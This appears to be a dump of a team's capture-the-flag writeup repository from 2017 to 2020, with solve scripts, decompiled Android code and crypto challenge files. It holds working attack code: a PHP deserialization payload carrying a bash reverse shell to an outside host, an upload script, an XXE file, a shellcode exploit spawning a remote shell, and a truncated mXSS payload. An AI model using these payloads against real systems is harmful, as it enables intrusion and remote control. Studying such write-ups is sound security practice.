├── 2017 ├── files │ ├── rev150 │ │ ├── packed │ │ ├── packer │ │ └── packed_unpacked │ ├── rev200 │ │ ├── rev200.efi │ │ └── solve.py │ ├── rev250 │ │ ├── src_deguard.zip │ │ ├── messenger_emulator.apk │ │ └── SrcCleaned │ │ │ └── securemessenger │ │ │ ├── xy │ │ │ ├── PositionMetric.java.obf │ │ │ ├── XYGraphWidget.java.obf │ │ │ ├── PositionMetric.java │ │ │ ├── XYGraphWidget.java │ │ │ ├── a.java.obf │ │ │ └── a.java │ │ │ ├── Path.java │ │ │ ├── Logger.java │ │ │ ├── PublicKeyStorage.java │ │ │ ├── ECKey.java │ │ │ ├── GetMessageReceiver.java │ │ │ ├── Main.java │ │ │ ├── temp.cs │ │ │ ├── Participant.java │ │ │ └── EncryptedSession.java │ └── rev300 │ │ └── api_client_apk.apk ├── HackIT-rev200.md ├── HackIT-rev150.md ├── HackIT-rev300.md └── HackIT-rev250.md ├── 2018 ├── csaw 2018 quals │ └── 1337 │ │ ├── call.png │ │ ├── flag.png │ │ ├── match.png │ │ ├── calleax.png │ │ ├── memcmp1.png │ │ ├── memcmp2.png │ │ ├── return.png │ │ ├── ebxtrace.png │ │ ├── goodflag.png │ │ ├── consoleread.png │ │ ├── obfuscation.png │ │ ├── pseudocodehash.png │ │ └── README.md └── RealWorldCTF2018_Finals │ └── RMI │ ├── PoC.PNG │ ├── Rejected.PNG │ ├── CommonsCollections.PNG │ ├── hello-rmi-server.jar │ ├── Main.java │ └── README.md ├── 2019 └── midnightsunctf │ ├── measurement │ ├── aes.png │ ├── uart.png │ ├── qscat.png │ ├── qscat-attack.png │ ├── trace-detail.png │ └── trace-overview.png │ ├── rubenscube │ ├── exploit.xml │ ├── script.sh │ ├── exploit.php │ └── rubenscube.md │ ├── dr-evil │ ├── exploit.py │ └── dr-evil.md │ ├── marcozuckerbergo │ └── marcozuckerbergo.md │ ├── cloudb │ ├── exploit.py │ └── cloudb.md │ ├── hfsmbr │ └── hfsmbr.md │ ├── marcodowno │ └── marcodowno.md │ ├── hfs-vm │ ├── exploit.py │ └── hfs-vm.md │ ├── tulpan257 │ └── writeup.md │ ├── hfsipc │ └── exploit.c │ ├── pgp-com │ └── pgp-com.md │ ├── hfsdos │ └── hfsdos.md │ ├── ezdsa │ └── ezdsa.md │ ├── bigspin │ └── bigspin.md │ └── open-gyckel-krypto │ └── open-gyckel-krypto.md ├── 2020 ├── hxpctf │ ├── README.md │ └── wisdom2 │ │ ├── writeup.md │ │ └── exploit.c └── twctf │ ├── xor-shift-enc │ ├── .gitignore │ ├── gen.py │ ├── xor-shift-enc.md │ ├── multiply_and_check.sage │ └── solve.sage │ ├── README.md │ ├── nono │ ├── nono │ ├── layout.ods │ ├── layout.png │ └── script.py │ ├── rsa │ ├── rsa │ └── rsa.md │ ├── il │ ├── ilstub-cpy.dll │ ├── exploit.py │ └── il.md │ ├── blind-shot │ ├── blindshot │ └── script.py │ ├── sqrt │ ├── chall.py │ ├── output.txt │ ├── writeup.md │ └── solve.sage │ ├── twin-d │ ├── task.rb │ ├── twin-d.md │ └── output │ ├── the_melancholy_of_alice │ ├── publickey.txt │ ├── encrypt.py │ ├── writeup.md │ └── solve.py │ ├── easy-hash │ └── writeup.md │ ├── bfnote │ └── writeup.md │ ├── mask │ ├── mask.py │ └── mask.md │ ├── does_linux_dream_of_windows │ └── writeup.md │ ├── urlcheck.md │ ├── birds │ └── birds.md │ ├── apple │ ├── solve.py │ └── writeup.md │ ├── nothing-more-to-say-2020 │ └── Solution.md │ └── angular_of_the_universe │ └── writeup.md ├── README.md └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | # ctf -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /2020/hxpctf/README.md: -------------------------------------------------------------------------------- 1 | # Writeups for hxp CTF 2020 2 | -------------------------------------------------------------------------------- /2020/twctf/xor-shift-enc/.gitignore: -------------------------------------------------------------------------------- 1 | *.json 2 | *.sage.py 3 | -------------------------------------------------------------------------------- /2020/twctf/README.md: -------------------------------------------------------------------------------- 1 | # Writeups for TokyoWesterns CTF 2020 2 | 3 | 4 | -------------------------------------------------------------------------------- /2020/twctf/nono/nono: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2020/twctf/nono/nono -------------------------------------------------------------------------------- /2020/twctf/rsa/rsa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2020/twctf/rsa/rsa -------------------------------------------------------------------------------- /2017/files/rev150/packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev150/packed -------------------------------------------------------------------------------- /2017/files/rev150/packer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev150/packer -------------------------------------------------------------------------------- /2020/twctf/nono/layout.ods: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2020/twctf/nono/layout.ods -------------------------------------------------------------------------------- /2020/twctf/nono/layout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2020/twctf/nono/layout.png -------------------------------------------------------------------------------- /2017/files/rev200/rev200.efi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev200/rev200.efi -------------------------------------------------------------------------------- /2020/twctf/il/ilstub-cpy.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2020/twctf/il/ilstub-cpy.dll -------------------------------------------------------------------------------- /2020/twctf/blind-shot/blindshot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2020/twctf/blind-shot/blindshot -------------------------------------------------------------------------------- /2017/files/rev150/packed_unpacked: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev150/packed_unpacked -------------------------------------------------------------------------------- /2017/files/rev250/src_deguard.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev250/src_deguard.zip -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/call.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/flag.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/match.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/match.png -------------------------------------------------------------------------------- /2017/files/rev300/api_client_apk.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev300/api_client_apk.apk -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/calleax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/calleax.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/memcmp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/memcmp1.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/memcmp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/memcmp2.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/return.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/return.png -------------------------------------------------------------------------------- /2017/files/rev250/messenger_emulator.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2017/files/rev250/messenger_emulator.apk -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/PoC.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/RealWorldCTF2018_Finals/RMI/PoC.PNG -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/ebxtrace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/ebxtrace.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/goodflag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/goodflag.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/aes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2019/midnightsunctf/measurement/aes.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/uart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2019/midnightsunctf/measurement/uart.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/consoleread.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/consoleread.png -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/obfuscation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/obfuscation.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/qscat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2019/midnightsunctf/measurement/qscat.png -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/Rejected.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/RealWorldCTF2018_Finals/RMI/Rejected.PNG -------------------------------------------------------------------------------- /2018/csaw 2018 quals/1337/pseudocodehash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/csaw 2018 quals/1337/pseudocodehash.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/qscat-attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2019/midnightsunctf/measurement/qscat-attack.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/trace-detail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2019/midnightsunctf/measurement/trace-detail.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/trace-overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2019/midnightsunctf/measurement/trace-overview.png -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/CommonsCollections.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/RealWorldCTF2018_Finals/RMI/CommonsCollections.PNG -------------------------------------------------------------------------------- /2018/RealWorldCTF2018_Finals/RMI/hello-rmi-server.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/HEAD/2018/RealWorldCTF2018_Finals/RMI/hello-rmi-server.jar -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/PositionMetric.java.obf: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.com.securemessenger.a; 2 | 3 | public class c 4 | extends a 5 | { 6 | public c() {} 7 | 8 | protected int a() 9 | { 10 | return 1; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/XYGraphWidget.java.obf: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.com.securemessenger.a; 2 | 3 | public class b 4 | extends a 5 | { 6 | public b() {} 7 | 8 | protected int a() 9 | { 10 | return 0; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/exploit.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | ]> 4 | 5 | &xxe; 6 | mypass 7 | 8 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/PositionMetric.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger.xy; 2 | 3 | public class PositionMetric 4 | extends a 5 | { 6 | public PositionMetric() {} 7 | 8 | protected int b() 9 | { 10 | return 1; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/xy/XYGraphWidget.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger.xy; 2 | 3 | public class XYGraphWidget 4 | extends a 5 | { 6 | public XYGraphWidget() {} 7 | 8 | protected int b() 9 | { 10 | return 0; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Path.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | public class StringStorage 4 | { 5 | private String id; 6 | 7 | public StringStorage(String paramString) 8 | { 9 | id = paramString; 10 | } 11 | 12 | public String getStoredValue() 13 | { 14 | return id; 15 | } 16 | 17 | public String toString() 18 | { 19 | return id; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/script.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | php exploit.php 3 | id=$(uuidgen) 4 | curl -X POST http://ruben-01.play.midnightsunctf.se:8080/upload.php --form "image=@exploit.tar" -b "PHPSESSID=$id" 5 | img=$(curl http://ruben-01.play.midnightsunctf.se:8080/index.php -b "PHPSESSID=$id" | grep -o "images/[^'_]*.jpg") 6 | sed -e "s@PAYLOAD@$img@" exploit.xml | curl -X POST http://ruben-01.play.midnightsunctf.se:8080/upload.php --form "image=@-" -b "PHPSESSID=$id" 7 | -------------------------------------------------------------------------------- /2020/twctf/sqrt/chall.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import bytes_to_long, isPrime 2 | from secret import flag, p 3 | 4 | 5 | def encrypt(m, k, p): 6 | return pow(m, 1 << k, p) 7 | 8 | 9 | assert flag.startswith("TWCTF{") 10 | assert len(flag) == 42 11 | assert isPrime(p) 12 | 13 | k = 64 14 | pt = bytes_to_long(flag.encode()) 15 | ct = encrypt(pt, k, p) 16 | 17 | with open("output.txt", "w") as f: 18 | f.write(str(ct) + "\n") 19 | f.write(str(p) + "\n") 20 | -------------------------------------------------------------------------------- /2019/midnightsunctf/dr-evil/exploit.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import binascii 3 | 4 | pcap = rdpcap('dr-evil.pcap') 5 | res = [] 6 | 7 | for packet in pcap: 8 | if IP in packet and packet[IP].src == '52.15.194.28': 9 | res.append(packet[IP].flags == 'evil') 10 | 11 | # print boolean array as ascii (extra 0 because the string did not have even length) 12 | print(binascii.unhexlify('%x0' % int(''.join(map(lambda b: '1' if b else '0', res)), 2)).decode()) 13 | -------------------------------------------------------------------------------- /2017/files/rev200/solve.py: -------------------------------------------------------------------------------- 1 | # Solution for rev200 2 | 3 | correct = [104, 60, 121, 113, 99, 124, 129, 146, 146, 101, 101, 147, 146, 73, 121, 146, 56, 108, 60, 111, 123, 135, 88, 85, 137, 90, 89, 126, 126, 107, 135, 108, 87, 108, 107, 88, 89, 90, 90, 111]; 4 | 5 | correctS = ""; 6 | 7 | for x in range(20): 8 | for i in range(256): 9 | if ((((((i ^ 0xC) + 6) ^ 0xD) + 7) ^ 0xE) + 8) == correct[x]: 10 | correctS += chr(i) 11 | 12 | for x in range(20): 13 | for i in range(256): 14 | if (((((i ^ 0xF) + 9) ^ 0x10) + 10) ^ 0x11) + 11 == correct[x+20]: 15 | correctS += chr(i) 16 | 17 | print correctS -------------------------------------------------------------------------------- /2020/twctf/sqrt/output.txt: -------------------------------------------------------------------------------- 1 | 5602276430032875007249509644314357293319755912603737631044802989314683039473469151600643674831915676677562504743413434940280819915470852112137937963496770923674944514657123370759858913638782767380945111493317828235741160391407042689991007589804877919105123960837253705596164618906554015382923343311865102111160 2 | 6722156186149423473586056936189163112345526308304739592548269432948561498704906497631759731744824085311511299618196491816929603296108414569727189748975204102209646335725406551943711581704258725226874414399572244863268492324353927787818836752142254189928999592648333789131233670456465647924867060170327150559233 3 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Logger.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import android.util.Log; 4 | import java.io.PrintStream; 5 | import org.apache.commons.math3.fraction.Participant; 6 | 7 | public class Logger 8 | { 9 | public static void add(String paramString) 10 | { 11 | write(paramString); 12 | } 13 | 14 | public static void add(String paramString, byte[] paramArrayOfByte) 15 | { 16 | write(paramString + new String(Participant.add(paramArrayOfByte))); 17 | } 18 | 19 | private static void write(String paramString) 20 | { 21 | System.out.println(paramString); 22 | Log.i("Messenger", paramString); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2020/twctf/il/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from base64 import b64encode 3 | 4 | context.arch = 'amd64' 5 | 6 | with open('ilstub-cpy.dll', 'rb') as f: 7 | func = f.read()[612: 612 + 0x2B] 8 | 9 | offset = 32 10 | 11 | preamble = func[0: 0x1E].replace(b'\x41' * 8, p64(offset)) 12 | write_primitive = func[0x1E:] 13 | 14 | shellcode = group(8, asm(shellcraft.amd64.linux.sh())) 15 | 16 | exploit = preamble[:] 17 | for block in shellcode: 18 | exploit += write_primitive.replace(b'\x42' * 8, bytes(block).ljust(8, b'\x90')) 19 | 20 | if args.REMOTE: 21 | p = remote('pwn02.chal.ctf.westerns.tokyo', 23541) 22 | else: 23 | p = process('./il') 24 | p.sendlineafter(b'spell:\n', b64encode(exploit)) 25 | p.interactive() 26 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/PublicKeyStorage.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import java.security.SecureRandom; 4 | import org.apache.commons.math3.fraction.Participant; 5 | 6 | public class PublicKeyStorage 7 | { 8 | private long seed = new SecureRandom().nextInt(Integer.MAX_VALUE); 9 | private byte[] seedBytesQ; 10 | 11 | public PublicKeyStorage(byte[] paramArrayOfByte) 12 | { 13 | seedBytesQ = paramArrayOfByte; 14 | } 15 | 16 | public byte[] getSeedBytesQ() 17 | { 18 | return seedBytesQ; 19 | } 20 | 21 | public long getSeed() 22 | { 23 | return seed; 24 | } 25 | 26 | public String toString() 27 | { 28 | return "[" + a + " : " + new String(Participant.add(b)) + "]"; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /2020/twctf/twin-d/task.rb: -------------------------------------------------------------------------------- 1 | require 'json' 2 | require 'openssl' 3 | 4 | p = OpenSSL::BN::generate_prime(1024).to_i 5 | q = OpenSSL::BN::generate_prime(1024).to_i 6 | 7 | while true 8 | d = OpenSSL::BN::generate_prime(1024).to_i 9 | break if ((p - 1) * (q - 1)).gcd(d) == 1 && ((p - 1) * (q - 1)).gcd(d + 2) == 1 10 | end 11 | 12 | puts d 13 | puts q 14 | puts p 15 | e1 = OpenSSL::BN.new(d).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i 16 | e2 = OpenSSL::BN.new(d + 2).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i 17 | 18 | flag = File.read('flag.txt') 19 | msg = OpenSSL::BN.new(flag.unpack1("H*").to_i(16)) 20 | n = OpenSSL::BN.new(p * q) 21 | enc = msg.mod_exp(OpenSSL::BN.new(e1), n) 22 | 23 | puts ({ n: (p*q).to_s, e1: e1.to_s, e2: e2.to_s, enc: enc.to_s }).to_json 24 | -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/exploit.php: -------------------------------------------------------------------------------- 1 | folder="`bash -c 'bash -i >& /dev/tcp/cherryworm.net/1337 0>&1' >images/h 2>&1`"; 9 | $object->file_name="idc"; 10 | $object->extension="idc"; 11 | $object->tmp_name="idc"; 12 | 13 | $serialized = serialize($object); 14 | $jpeg="./empty.jpg"; 15 | $phar = new \PHPGGC\Phar\Tar($serialized, compact("jpeg")); 16 | file_put_contents('exploit.tar', $phar->generate()); 17 | 18 | // // $phar = new \PHPGGC\Phar\Phar($serialized, ["prefix"=>"XXXXXXX"]); 19 | // // file_put_contents('exploit.phar', $phar->generate()); 20 | 21 | // $phar = new \PHPGGC\Phar\Zip($serialized); 22 | // file_put_contents('exploit.zip', $phar->generate()); 23 | ?> 24 | -------------------------------------------------------------------------------- /2020/twctf/the_melancholy_of_alice/publickey.txt: -------------------------------------------------------------------------------- 1 | p = 168144747387516592781620466787069575171940752179672411574452734808497653671359884981272746489813635225263167370526619987842319278446075098036112998679570069486935297242638675590736039429506131690941660748942375274820626186241210376537247501823653926524570571499198040207829317830442983944747691656715907048411 2 | q = 84072373693758296390810233393534787585970376089836205787226367404248826835679942490636373244906817612631583685263309993921159639223037549018056499339785034743467648621319337795368019714753065845470830374471187637410313093120605188268623750911826963262285285749599020103914658915221491972373845828357953524205 3 | g = 2 4 | h = 98640592922797107093071054876006959817165651265269454302952482363998333376245900760045606011965672215605936345612030149799453733708430421685495677502147392514542499678987737269487279698863617849581626352877756515435930907093553607392143564985566046429416461073375036461770604488387110385404233515192951025299 5 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/ECKey.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import org.apache.commons.math3.fraction.Participant; 4 | 5 | public class ECKey 6 | { 7 | private long currentCounter; 8 | private byte[] priv; 9 | private byte[] pub; 10 | private long seed; 11 | 12 | public ECKey(byte[] paramArrayOfByte1, long paramLong1, long paramLong2, byte[] paramArrayOfByte2) 13 | { 14 | pub = paramArrayOfByte1; 15 | currentCounter = paramLong1; 16 | seed = paramLong2; 17 | priv = paramArrayOfByte2; 18 | } 19 | 20 | public long getSeed() 21 | { 22 | return seed; 23 | } 24 | 25 | public long getCreationTimeSeconds() 26 | { 27 | return currentCounter; 28 | } 29 | 30 | public byte[] getPrivKeyBytes() 31 | { 32 | return priv; 33 | } 34 | 35 | public byte[] getPubKey() 36 | { 37 | return pub; 38 | } 39 | 40 | public String toString() 41 | { 42 | return new String(Participant.add(pub)) + " -> [" + currentCounter + "]"; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /2020/twctf/the_melancholy_of_alice/encrypt.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getStrongPrime, getRandomRange 2 | 3 | N = 1024 4 | 5 | 6 | def generateKey(): 7 | p = getStrongPrime(N) 8 | q = (p - 1) // 2 9 | x = getRandomRange(2, q) 10 | g = 2 11 | h = pow(g, x, p) 12 | pk = (p, q, g, h) 13 | sk = x 14 | return (pk, sk) 15 | 16 | 17 | def encrypt(m, pk): 18 | (p, q, g, h) = pk 19 | r = getRandomRange(2, q) 20 | c1 = pow(g, r, p) 21 | c2 = m * pow(h, r, p) % p 22 | return (c1, c2) 23 | 24 | 25 | def main(): 26 | with open("flag.txt") as f: 27 | flag = f.read().strip() 28 | 29 | pk, sk = generateKey() 30 | with open("publickey.txt", "w") as f: 31 | f.write(f"p = {pk[0]}\n") 32 | f.write(f"q = {pk[1]}\n") 33 | f.write(f"g = {pk[2]}\n") 34 | f.write(f"h = {pk[3]}\n") 35 | 36 | with open("ciphertext.txt", "w") as f: 37 | for m in flag: 38 | c = encrypt(ord(m), pk) 39 | f.write(f"{c}\n") 40 | 41 | 42 | if __name__ == "__main__": 43 | main() 44 | -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/GetMessageReceiver.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.os.Bundle; 7 | 8 | public class GetMessageReceiver 9 | extends BroadcastReceiver 10 | { 11 | public GetMessageReceiver() {} 12 | 13 | public void onReceive(Context paramContext, Intent paramIntent) 14 | { 15 | Object localObject = paramIntent.getExtras().get("encrypted"); 16 | if (!(localObject instanceof ECKey)) { 17 | throw new ClassCastException("Garbage got."); 18 | } 19 | paramIntent = paramIntent.getExtras().get("participant"); 20 | if (!(localObject instanceof Participant)) { 21 | throw new ClassCastException("Garbage got."); 22 | } 23 | try 24 | { 25 | paramContext = Main.getParticipant(); 26 | localObject = (ECKey)localObject; 27 | paramIntent = (Participant)paramIntent; 28 | paramContext.a((ECKey)localObject, paramIntent); 29 | return; 30 | } 31 | catch (Exception paramContext) 32 | { 33 | paramContext.printStackTrace(); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /2020/twctf/easy-hash/writeup.md: -------------------------------------------------------------------------------- 1 | # easy-hash 2 | 3 | The authors delivered source-code of a hashing function. The following constraints needed to be fulfilled in order to pass the first checks: 4 | 5 | - Text begins with 'twctf: ' 6 | - Text ends with '2020' 7 | - Text must be different to original MSG = 'twctf: please give me the flag of 2020' 8 | 9 | In order to get the flag, the hash of the passed message needs to match the hash of the previous mentioned MSG. 10 | 11 | The used hash function was: 12 | 13 | ```python 14 | [...] 15 | def easy_hash(x): 16 | m = 0 17 | for i in range(len(x) - 3): 18 | m += struct.unpack('o) and increasing another one (l->m) of the word "please" I was able to get the same hash. 26 | 27 | ```python 28 | MSG = b'twctf: please give me the flag of 2020' 29 | MSG1 = b'twctf: omease give me the flag of 2020' 30 | easy_hash(MSG) # =1788732187 31 | easy_hash(MSG1) # =1788732187 32 | ``` 33 | 34 | The final curl to the remote server looked like this: 35 | 36 | ```bash= 37 | curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: omease give me the flag of 2020' 38 | ``` 39 | 40 | ## Flag 41 | TWCTF{colorfully_decorated_dream} -------------------------------------------------------------------------------- /2017/files/rev250/SrcCleaned/securemessenger/Main.java: -------------------------------------------------------------------------------- 1 | package messenger.hackit2017.helper.securemessenger; 2 | 3 | import android.os.Bundle; 4 | import android.support.v7.app.AppCompatActivity; 5 | import android.view.View; 6 | import android.widget.Button; 7 | import android.widget.EditText; 8 | import java.util.HashMap; 9 | import messenger.hackit2017.com.securemessenger.d; 10 | 11 | public class Main 12 | extends AppCompatActivity 13 | { 14 | private static final Participant i = new Participant("alice"); 15 | private HashMap map = new HashMap(); 16 | 17 | public Main() {} 18 | 19 | public static Participant getParticipant() 20 | { 21 | return i; 22 | } 23 | 24 | protected void onCreate(Bundle paramBundle) 25 | { 26 | super.onCreate(paramBundle); 27 | setContentView(2130968603); 28 | paramBundle = (Button)findViewById(2131427426); 29 | EditText localEditText = (EditText)findViewById(2131427423); 30 | paramBundle.setOnClickListener(new Main.1(this, (EditText)findViewById(2131427425), localEditText)); 31 | 32 | if (!inHashmap) 33 | add new Particpant ("bob", etc...) 34 | 35 | try 36 | { 37 | AliceParticipant.createPencryptDataartipantQ(new StringStorage(localEditText.getText().toString()), existingParticipant); 38 | return; 39 | } 40 | catch (Exception paramAnonymousView) 41 | { 42 | paramAnonymousView.printStackTrace(); 43 | } 44 | 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /2020/twctf/bfnote/writeup.md: -------------------------------------------------------------------------------- 1 | # bfnote 2 | Category: Web 3 | 4 | Solves: 18, Score: 320 5 | 6 | > Share your best Brainf*ck code at [bfnote](https://bfnote.chal.ctf.westerns.tokyo/) 7 | 8 | The website allows a user to upload some brainfuck code and executes it when visited. The backend code is not that important, but can be viewed using [https://bfnote.chal.ctf.westerns.tokyo/?source](https://bfnote.chal.ctf.westerns.tokyo/?source) 9 | 10 | The user input is sanitized using `DOMPurify`. We did some DOM clobbering to overwrite `CONFIG`and set `unsafeRender`, but had no idea how to solve this challenge. The next morning we started to look at it again. One of our team members noticed that 10 minutes before cure53 [tweeted](https://twitter.com/cure53berlin/status/1307602849455640576) about a new release that fixed a mXSS variation. That was unfortunate, but since it was a competetion we just did a git diff and found the payload in a test. 11 | ```js 12 | { 13 | "title": "Tests against nesting-based mXSS behavior 2/2", 14 | "payload": "